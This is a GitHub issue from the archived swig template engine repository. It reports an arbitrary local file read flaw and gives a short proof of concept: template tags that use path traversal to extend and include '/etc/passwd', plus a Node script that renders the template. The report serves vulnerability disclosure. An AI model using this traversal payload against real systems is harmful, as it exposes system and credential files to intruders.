Skip to content
This repository was archived by the owner on Feb 3, 2023. It is now read-only.
This repository was archived by the owner on Feb 3, 2023. It is now read-only.

Security Issue: arbitrary local file read vulnerability during template rendering #88

@y1nglamore

Description

@y1nglamore

official doc:

poc:

1.html
{% extends '../../../../../etc/passwd' %}
{% include '../../../../../etc/passwd' %}
// run.js
var swig = require('swig');
var output = swig.renderFile('/Users/bytedance/Desktop/swig/tpl.html');
console.log(output);

output:
m1-133941_byZ4O5

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions